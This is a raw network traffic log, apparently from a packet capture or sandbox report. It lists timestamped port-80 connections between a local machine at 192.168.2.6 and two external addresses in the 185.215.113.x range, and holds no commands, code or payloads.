Sep 27, 2024 16:18:21.725800037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.725869894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.726084948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726095915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726104975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726114988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726124048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.726139069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726150036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726157904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726167917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726178885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726187944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726197004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.726197004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.726197958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726206064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726214886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726229906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726233006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726241112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726248980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726249933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726255894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726267099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726277113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726285934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726295948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726310015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726310968 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726320028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.726330996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726339102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726339102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726341009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726351023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726361036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726371050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726381063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726381063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.726386070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726396084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726406097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726417065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726427078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.726427078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.726460934 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.726983070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.726994991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727006912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727016926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727031946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727041960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727051973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727065086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727070093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727078915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727085114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727092981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727101088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727111101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727121115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727133036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727138042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727148056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727158070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727169991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727169991 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727176905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727188110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727195978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727204084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727216959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727226973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727236986 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727245092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727293968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727293968 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727574110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727585077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727597952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727608919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727623940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727632046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727673054 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727698088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727715015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727726936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727735996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727746010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727756023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727761984 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727772951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727782011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727792025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727802038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727807999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727817059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727828026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727844954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727844954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727850914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727864981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727875948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727885962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727895021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727895975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727905035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.727915049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.727925062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.727933884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.727943897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.727955103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.727967978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.727972984 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.727973938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.727981091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.727998018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.728024006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.728080988 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729048014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729058981 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729068995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729079008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729088068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729089975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729151964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729151964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729151964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729208946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729219913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729228973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729238987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729248047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729248047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729259014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729259014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729269028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729279041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729288101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729293108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729299068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729306936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729315996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729316950 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729316950 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729326010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729335070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729345083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729346037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729355097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729355097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729356050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729372025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729382038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729384899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729393005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729399920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729399920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729403019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729413033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729424000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729427099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729434967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729451895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729454041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729463100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729473114 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729476929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729476929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729482889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729492903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729502916 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729502916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729521036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729526997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729532003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729542971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729545116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729553938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729562998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729573965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729583979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729593039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729593992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729604006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729613066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729624033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729634047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729638100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729650974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729660988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729661942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729671955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729681015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729685068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729696989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729707003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729707956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729717970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729727983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729731083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729737043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.729754925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.729780912 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730364084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730375051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730384111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730393887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730403900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.730412960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730416059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730417967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730441093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730441093 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730451107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730462074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730472088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730482101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730490923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.730498075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730506897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730509043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730519056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730529070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730535984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730546951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730555058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730556965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730571985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730578899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730582952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730592966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730602980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.730617046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.730652094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.731102943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731113911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731123924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731133938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731143951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731152058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.731153965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731163979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731173992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731184006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731194019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731194973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.731204033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.731213093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731223106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731225967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.731237888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731247902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731257915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731266022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.731267929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731277943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731286049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.731295109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731304884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731314898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731324911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731337070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731342077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.731342077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.731352091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731364965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731369972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.731378078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731400013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731405973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.731405973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.731416941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731429100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.731477976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.731477976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732059002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732070923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732079983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732095957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732105970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732115030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732125998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732136965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732144117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732152939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732163906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732173920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732187986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732192039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732201099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732212067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732217073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732227087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732237101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732244015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732249022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732259035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732270956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732276917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732286930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732296944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732306957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732306957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732315063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732316017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732357025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732517004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732527018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732537985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732548952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732553005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732578993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732717991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732728958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732738018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732753038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732760906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732764006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732774019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732784033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732784033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732795000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732805014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732815027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732825041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732826948 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732835054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732847929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732851028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.732861996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732872009 CEST	80	49615	185.215.113.117	192.168.2.6
